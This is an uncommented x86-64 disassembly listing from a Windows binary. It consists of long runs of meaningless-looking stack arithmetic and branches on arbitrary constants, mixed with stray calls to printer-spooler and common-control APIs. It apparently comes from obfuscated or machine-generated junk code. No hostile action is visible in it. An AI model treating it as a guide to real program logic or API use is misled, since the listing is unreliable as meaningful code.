lea rdx, [rsp + 0x83a8]
mov rcx, qword [rsp + 0x6af8]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x9860], eax
jmp 0x140041246
mov rcx, qword [rsp + 0x4258]
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x4258]
mov dword [rax], ecx
mov eax, dword [0x1400f7e28]
mov dword [rsp + 0x46cc], eax
mov rcx, qword [rsp + 0x93a8]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x288], eax
mov rcx, qword [rsp + 0x6f90]
mov rax, qword [rsp + 0xa318]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov dword [rsp + 0xb638], 0x4f04
mov rax, qword [rsp + 0x9bd0]
movzx eax, word [rax]
mov dword [rsp + 0xba68], eax
cmp dword [rsp + 0xba68], 0
je 0x140041283
cmp dword [rsp + 0xba68], 0x6cb
je 0x140041383
jmp 0x1400413a1
mov rax, qword [rsp + 0x9c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8370]
add rax, qword [rcx]
mov qword [rsp + 0x6e48], rax
movzx edi, byte [rsp + 0x2348]
movzx eax, byte [0x1400f758a]
sub edi, eax
mov rax, qword [0x1400f7f18]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
jl 0x140041361
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
mov dword [rsp + 0xba6c], eax
cmp dword [rsp + 0xba6c], 0x76bb
je 0x1400412f4
jmp 0x140041361
mov rax, qword [rsp + 0x2740]
mov al, byte [rax]
mov byte [rsp + 0xba70], al
cmp byte [rsp + 0xba70], 0xfc
je 0x140041311
jmp 0x140041337
movzx edx, word [rsp + 0x5218]
movzx eax, word [rsp + 0x15c4]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0xa8b0], ax
call fcn.1400b5160
jmp 0x140041361
lea r9, [rsp + 0x1c08]
mov r8d, 0xe9
lea rdx, [rsp + 0x7140]
mov rcx, qword [rsp + 0x4be8]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x58d4], eax
lea rax, [rsp + 0x2348]
mov qword [rsp + 0x8d0], rax
movzx eax, word [rsp + 0x4274]
mov word [rsp + 0xa88], ax
jmp 0x1400413a1
movsx ecx, byte [rsp + 0x9788]
mov rax, qword [0x1400f7548]
movsx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
movzx eax, word [rsp + 0x5218]
mov dword [rsp + 0xba74], eax
cmp dword [rsp + 0xba74], 0
je 0x1400413bf
jmp 0x14004148f
mov al, byte [rsp + 0x2348]
mov byte [rsp + 0xba78], al
cmp byte [rsp + 0xba78], 0
je 0x1400413ea
cmp byte [rsp + 0xba78], 0x95
je 0x140041470
jmp 0x14004148a
mov rax, qword [rsp + 0x91d0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x7240]
movzx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x5218], ax
mov rax, qword [rsp + 0x1238]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x99c0], eax
movsx eax, word [rsp + 0xa88]
mov dword [rsp + 0xba7c], eax
cmp dword [rsp + 0xba7c], 0x65e9
je 0x140041447
jmp 0x14004144e
call fcn.1400b5160
jmp 0x14004146e
lea rax, [rsp + 0xa318]
mov qword [rsp + 0x97f0], rax
lea rax, [rsp + 0x9b18]
mov qword [rsp + 0x6930], rax
jmp 0x14004148a
mov rax, qword [rsp + 0x2f8]
mov ecx, dword [rsp + 0xb360]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xee0], eax
jmp 0x14004151c
mov rax, qword [rsp + 0x9bd0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xacd8]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x7240]
mov word [rax], cx
lea r9, [rsp + 0x9130]
lea r8, [rsp + 0x5da0]
lea rdx, [rsp + 0x6958]
mov rcx, qword [rsp + 0x8520]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x2cb8], eax
movsx ecx, byte [rsp + 0x9788]
mov rax, qword [rsp + 0xb208]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
movsx edx, word [rsp + 0xa88]
mov rax, qword [rsp + 0x13c0]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x1238]
mov eax, dword [rax]
mov dword [rsp + 0xba80], eax
cmp dword [rsp + 0xba80], 0x21b8ae06
je 0x14004157b
cmp dword [rsp + 0xba80], 0xa63fee40
je 0x14004154c
jmp 0x140041604
mov r9, qword [rsp + 0x97f0]
mov r9, qword [r9]
mov r8, qword [rsp + 0x5298]
mov rdx, qword [rsp + 0x8370]
mov rdx, qword [rdx]
mov rcx, qword [0x1400f62d0]
call fcn.1400b5010
jmp 0x140041604
mov rcx, qword [rsp + 0x4258]
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
mov edx, dword [rcx]
sub edx, eax
mov rax, qword [rsp + 0x2f8]
mov ecx, dword [rsp + 0x4af4]
mov eax, dword [rax]
sub eax, ecx
cmp edx, eax
jne 0x1400415c7
movzx ecx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0x8d0]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x2740]
mov byte [rax], cl
mov rdx, qword [rsp + 0x1238]
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [0x1400f7e28], eax
mov rcx, qword [rsp + 0x8520]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x7b50], eax
mov rcx, qword [rsp + 0x40d8]
call fcn.1400b5940
mov rax, qword [rsp + 0x9c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e48]
add rcx, rax
mov rax, qword [rsp + 0x9a10]
mov qword [rax], rcx
mov rdx, qword [rsp + 0x9a10]
mov rdx, qword [rdx]
add rdx, qword [rsp + 0x6e48]
mov rcx, qword [rsp + 0x9b18]
mov rax, qword [rsp + 0x5298]
or rax, rcx
cmp rdx, rax
jne 0x1400b4c2b
movzx edx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0xa650]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x9cc1], al
movzx eax, byte [rsp + 0x6958]
mov byte [rsp + 0x1140], al
mov eax, dword [rsp + 0x3b8]
add eax, 0x37
mov dword [rsp + 0x3b8], eax
movsx edx, word [rsp + 0xa88]
mov rax, qword [rsp + 0xfb8]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0xb208]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x6958]
add ecx, eax
mov rax, qword [rsp + 0x9560]
mov byte [rax], cl
movsx ecx, byte [rsp + 0x1140]
movsx eax, byte [rsp + 0x9788]
add ecx, eax
mov rax, qword [0x1400f7548]
mov byte [rax], cl
mov rcx, qword [0x1400f62d0]
mov rax, qword [rsp + 0x5298]
add rax, rcx
mov qword [rsp + 0x6e48], rax
mov rcx, qword [rsp + 0x2f8]
mov eax, dword [rsp + 0xb360]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x2f8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0x97f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa318], rax
mov rax, qword [rsp + 0x1238]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x9238]
add ecx, dword [rax]
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x7350]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1140]
and eax, ecx
mov byte [rsp + 0x9130], al
mov rax, qword [rsp + 0x69c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5218]
sub eax, ecx
mov word [rsp + 0xa8b0], ax
mov rax, qword [rsp + 0x5cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9cc1]
or eax, ecx
mov byte [rsp + 0x2348], al
movsx edx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x4c58]
movsx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0xa88], ax
movzx edx, byte [rsp + 0x9cc1]
movzx eax, byte [rsp + 0x2348]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x2f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x56a0]
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x4258]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9a10]
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x9c28]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x6f90]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x40d8]
and rax, rcx
mov qword [rsp + 0x3758], rax
mov rcx, qword [rsp + 0x1238]
mov eax, dword [rsp + 0x30e0]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movzx ecx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0x8d0]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x2740]
mov byte [rax], cl
movsx ecx, word [rsp + 0xa88]
mov rax, qword [rsp + 0x8ba0]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
movsx ecx, byte [rsp + 0x9788]
movsx eax, byte [rsp + 0x9130]
add ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
movzx ecx, word [rsp + 0x5218]
movzx eax, word [rsp + 0x15c4]
add ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov ecx, dword [rsp + 0x30e0]
mov eax, dword [rsp + 0x99c0]
sub eax, ecx
mov dword [0x1400f7e28], eax
mov rax, qword [rsp + 0x7240]
movzx edx, word [rax]
mov rax, qword [rsp + 0x9bd0]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x5218], ax
mov rax, qword [0x1400f62c8]
mov rcx, qword [rsp + 0x3758]
and rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1238]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1238]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x2f8]
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0x4258]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x8370]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x6930]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6e48], rax
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x2858]
xor ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9cc1]
sub eax, ecx
mov byte [rsp + 0x2348], al
cmp dword [rsp + 0x3b8], 0x655c
jne 0x140041684
movzx eax, word [rsp + 0xa88]
mov word [rsp + 0x96e8], ax
lea rax, [rsp + 0x4c78]
mov qword [0x1400f7fe8], rax
movzx edx, word [rsp + 0x15c4]
mov rax, qword [rsp + 0x7240]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0xa8b0], ax
movzx ecx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0x2740]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0xa650]
mov byte [rax], cl
lea rax, [rsp + 0x60e0]
mov qword [rsp + 0xb2c0], rax
mov rax, qword [rsp + 0x6930]
mov rax, qword [rax]
add rax, qword [rsp + 0x5298]
mov qword [rsp + 0x6e48], rax
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
mov qword [rsp + 0x4628], rax
mov rax, qword [rsp + 0x1130]
movsx edx, word [rax]
mov rax, qword [rsp + 0xfb8]
movsx eax, word [rax]
add edx, eax
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x96e8]
add eax, ecx
cmp edx, eax
jne 0x140041be9
mov rax, qword [rsp + 0x4258]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2f8]
add eax, dword [rcx]
mov dword [rsp + 0xb360], eax
mov rax, qword [0x1400f62c8]
mov rdx, qword [rsp + 0x4628]
add rdx, rax
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x6f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
cmp rdx, rax
jbe 0x140041b67
mov edx, 0x24
mov rcx, qword [rsp + 0x8520]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x7470], eax
mov rax, qword [rsp + 0x4628]
mov qword [rsp + 0x20], rax
mov rax, qword [0x1400f7548]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x9238]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x9130]
mov rcx, qword [rsp + 0x4628]
call fcn.1400b5a80
jmp 0x140041be9
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov edx, dword [rsp + 0x1a50]
sub edx, eax
mov ecx, dword [rsp + 0x6e98]
mov eax, dword [rsp + 0x46cc]
add eax, ecx
cmp edx, eax
jbe 0x140041be9
movsx ecx, byte [rsp + 0x1140]
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x9560]
mov byte [rax], cl
movsx edx, byte [str.__._v]
mov rax, qword [rsp + 0x9560]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x1140], al
mov r8d, 0xff
mov rdx, qword [rsp + 0x9170]
mov rcx, qword [rsp + 0x6790]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
movzx eax, word [rsp + 0xa8b0]
movzx ecx, word [rsp + 0x15c4]
xor eax, ecx
mov word [0x1400f62e4], ax
mov rax, qword [rsp + 0x97f0]
mov rax, qword [rax]
mov rdx, qword [rsp + 0x6f90]
movzx ecx, al
mov rdx, qword [rdx]
shl rdx, cl
mov rcx, qword [0x1400f7fe8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x40d8]
and rax, rcx
cmp rdx, rax
jae 0x140041db1
mov rax, qword [rsp + 0x2740]
movzx edi, byte [rax]
mov rax, qword [rsp + 0x8d0]
movzx eax, byte [rax]
sub edi, eax
movzx edx, byte [0x1400f758a]
mov rax, qword [rsp + 0xa650]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
cmp edi, eax
jle 0x140041d76
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x5218]
sub ecx, eax
mov rax, qword [rsp + 0x69c8]
mov word [rax], cx
mov rax, qword [rsp + 0x91d0]
movzx eax, word [rax]
mov dword [rsp + 0xba84], eax
cmp dword [rsp + 0xba84], 0x308
je 0x140041cb3
jmp 0x140041d5a
mov rax, qword [rsp + 0x5cc0]
movzx edx, byte [rax]
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x2348], al
mov r9d, 0xf6
lea r8, [rsp + 0x40d8]
lea rdx, [fcn.1400b5a80]
mov rcx, qword [rsp + 0x8d8]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x58d4], eax
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x4c58]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
movzx eax, word [rsp + 0xa88]
mov word [rsp + 0x20], ax
movzx r9d, word [rsp + 0xa88]
mov r8, qword [rsp + 0x8370]
mov r8, qword [r8]
movzx edx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0xfb8]
movzx ecx, word [rax]
call fcn.1400b56b0
jmp 0x140041d74
mov rax, qword [rsp + 0x2f8]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x6804]
add eax, ecx
mov dword [rsp + 0x4af4], eax
jmp 0x140041d9c
mov rcx, qword [0x1400f7fe8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x97f0]
mov rax, qword [rax]
shr rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
lea rcx, [rsp + 0x5a00]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x6804], eax
cmp dword [rsp + 0x72c0], 0x858c
je 0x140041fe3
mov rcx, qword [rsp + 0x8370]
mov rax, qword [rsp + 0x6e48]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x6930]
mov qword [rax], rcx
mov eax, dword [rsp + 0x6e98]
mov ecx, dword [0x1400f62d8]
xor ecx, eax
mov rax, qword [rsp + 0xb2c0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x3ba8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x96e8], ax
mov rax, qword [rsp + 0xb208]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x9560]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [0x1400f7548]
mov byte [rax], cl
mov eax, dword [rsp + 0x72c0]
add eax, 0xc3
mov dword [rsp + 0x72c0], eax
movzx ecx, word [rsp + 0x5218]
mov rax, qword [rsp + 0x9bd0]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
movzx ecx, byte [rsp + 0x9cc1]
mov rax, qword [rsp + 0x8d0]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0xa650]
mov byte [rax], cl
movsx ecx, word [rsp + 0x96e8]
movsx eax, word [rsp + 0xa88]
sub ecx, eax
mov rax, qword [rsp + 0x4c58]
mov word [rax], cx
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x40d8]
sub rcx, rax
mov rax, qword [rsp + 0x97f0]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xb690]
mov rax, qword [rsp + 0x4258]
mov eax, dword [rax]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov eax, dword [rsp + 0x46cc]
mov ecx, dword [rsp + 0x1a50]
add ecx, eax
mov rax, qword [rsp + 0x1238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x8370]
mov rcx, qword [rsp + 0x9b18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6e48], rax
mov rax, qword [rsp + 0xacd8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x15c4]
add ecx, eax
mov rax, qword [rsp + 0x91d0]
mov word [rax], cx
movsx ecx, byte [rsp + 0x9130]
mov rax, qword [rsp + 0x7350]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [0x1400f7548]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0x5cc0]
movzx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x8d0]
mov byte [rax], cl
movsx edx, word [rsp + 0xa88]
movsx eax, word [rsp + 0x4274]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x96e8], ax
movsx edx, byte [rsp + 0x9130]
mov rax, qword [rsp + 0x9560]
movsx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x6958], al
mov eax, dword [rsp + 0xee0]
movzx ecx, al
mov eax, dword [rsp + 0x56a0]
shl eax, cl
mov dword [rsp + 0x4af4], eax
jmp 0x140041db1
lea rax, [rsp + 0x4c78]
mov qword [rsp + 0xb750], rax
mov eax, dword [rsp + 0x99c0]
mov dword [rsp + 0xba88], eax
cmp dword [rsp + 0xba88], 0
je 0x140042030
cmp dword [rsp + 0xba88], 0x22d67e14
je 0x14004201d
jmp 0x1400b4c07
mov eax, dword [rsp + 0x30e0]
mov dword [rsp + 0x60e0], eax
jmp 0x1400b4c07
movzx ecx, byte [rsp + 0x9cc1]
movzx eax, byte [rsp + 0x2348]
sub ecx, eax
mov rax, qword [rsp + 0x5cc0]
mov byte [rax], cl
mov rax, qword [rsp + 0x7350]
mov al, byte [rax]
mov byte [rsp + 0xba8c], al
cmp byte [rsp + 0xba8c], 0
je 0x14004207a
cmp byte [rsp + 0xba8c], 0x6e
je 0x14004212c
jmp 0x14004214c
mov rax, qword [rsp + 0xa318]
mov qword [rsp + 0xba90], rax
cmp qword [rsp + 0xba90], 0
je 0x140042097
jmp 0x140042109
mov al, byte [rsp + 0x2348]
mov byte [rsp + 0xba98], al
cmp byte [rsp + 0xba98], 0x17
je 0x1400420e7
cmp byte [rsp + 0xba98], 0xfc
je 0x1400420bb
jmp 0x140042107
mov r9d, dword [rsp + 0x6804]
mov rax, qword [rsp + 0x9560]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0xee0]
mov rax, qword [rsp + 0x2f8]
mov ecx, dword [rax]
call fcn.1400b5380
jmp 0x140042107
mov rax, qword [rsp + 0x13c0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x96e8]
add ecx, eax
mov rax, qword [rsp + 0x1130]
mov word [rax], cx
jmp 0x14004212a
mov rax, qword [rsp + 0xa650]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x8d0]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x9cc1], al
jmp 0x14004214c
xor r8d, r8d
mov rdx, qword [rsp + 0x478]
mov rcx, qword [rsp + 0x9170]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x50a4], eax
movzx eax, byte [rsp + 0x9130]
mov byte [rsp + 0xa150], al
movzx eax, word [rsp + 0xa8b0]
movzx ecx, word [0x1400f62e4]
sub eax, ecx
mov word [rsp + 0x5218], ax
cmp dword [rsp + 0x9d38], 0xccd9
je 0x1400425cb
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
add eax, dword [rsp + 0x30e0]
mov dword [rsp + 0x99c0], eax
mov rax, qword [rsp + 0x9a10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e48]
and rcx, rax
mov rax, qword [rsp + 0x6930]
mov qword [rax], rcx
mov rax, qword [rsp + 0xb750]
mov rax, qword [rax]
mov rcx, qword [0x1400f62c8]
add rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50a4]
sub ecx, eax
mov rax, qword [rsp + 0x2f8]
mov dword [rax], ecx
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x30e0]
add eax, ecx
mov dword [0x1400f62d8], eax
movsx edx, byte [rsp + 0x6958]
movsx eax, byte [rsp + 0x1140]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
movzx edx, word [rsp + 0x5218]
movzx eax, word [rsp + 0x15c4]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x69c8]
mov word [rax], cx
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x5218]
xor ecx, eax
mov rax, qword [rsp + 0x7240]
mov word [rax], cx
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x9cc1]
or ecx, eax
mov rax, qword [rsp + 0xa650]
mov byte [rax], cl
mov rax, qword [rsp + 0x3758]
mov rcx, qword [rsp + 0x4c78]
and rcx, rax
mov rax, qword [rsp + 0x97f0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6930]
mov rcx, qword [rsp + 0x6e48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5298], rax
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4258]
add eax, dword [rcx]
mov dword [rsp + 0x4af4], eax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1238]
add ecx, dword [rax]
mov rax, qword [rsp + 0xb2c0]
mov dword [rax], ecx
movzx ecx, byte [rsp + 0x2348]
movzx eax, byte [rsp + 0x9cc1]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x69c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5218]
add eax, ecx
mov word [rsp + 0x15c4], ax
mov rax, qword [rsp + 0x5cc0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xa650]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
movsx edx, word [rsp + 0x96e8]
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x7350]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x9560]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x6958], al
mov rcx, qword [rsp + 0x5298]
mov rax, qword [rsp + 0x6930]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6e48], rax
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [rsp + 0x4628]
or rax, rcx
mov qword [rsp + 0x3758], rax
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x46cc]
shl eax, cl
mov dword [rsp + 0x6e98], eax
mov rcx, qword [rsp + 0x2f8]
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x4258]
mov dword [rax], ecx
movsx ecx, word [rsp + 0x96e8]
movsx eax, word [rsp + 0xa88]
add ecx, eax
mov rax, qword [rsp + 0x4c58]
mov word [rax], cx
mov eax, dword [rsp + 0x9d38]
add eax, 0x84
mov dword [rsp + 0x9d38], eax
mov rax, qword [rsp + 0xb208]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x2858]
and ecx, eax
mov rax, qword [0x1400f7548]
mov byte [rax], cl
mov rax, qword [rsp + 0x8d0]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x5cc0]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x2740]
mov byte [rax], cl
movzx eax, word [rsp + 0x5218]
movzx ecx, word [rsp + 0xa8b0]
sub eax, ecx
mov word [rsp + 0x15c4], ax
mov rax, qword [0x1400f7548]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x89a8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x1140], al
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x6e98]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
mov rcx, qword [0x1400f62c8]
add rcx, rax
mov rax, qword [rsp + 0x97f0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x9a10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b18]
sub rcx, rax
mov rax, qword [rsp + 0x9c28]
mov qword [rax], rcx
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb360]
add ecx, eax
mov rax, qword [rsp + 0x4258]
mov dword [rax], ecx
mov rax, qword [rsp + 0x7240]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x5218]
and ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
movzx edx, byte [rsp + 0x9cc1]
mov rax, qword [rsp + 0x2740]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [0x1400f758a], al
movsx eax, word [rsp + 0xa88]
movsx ecx, word [rsp + 0x96e8]
xor eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x9560]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
jmp 0x140042174
lea rax, [rsp + 0x9cc1]
mov qword [rsp + 0x4980], rax
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [0x1400f62c8]
or rax, rcx
mov qword [rsp + 0x3758], rax
mov dword [rsp + 0x6a18], 0xb665
lea rax, [rsp + 0x6e48]
mov qword [rsp + 0x6f58], rax
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov edi, dword [rsp + 0xca8]
sub edi, eax
mov rdx, qword [rsp + 0x1238]
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
cmp edi, eax
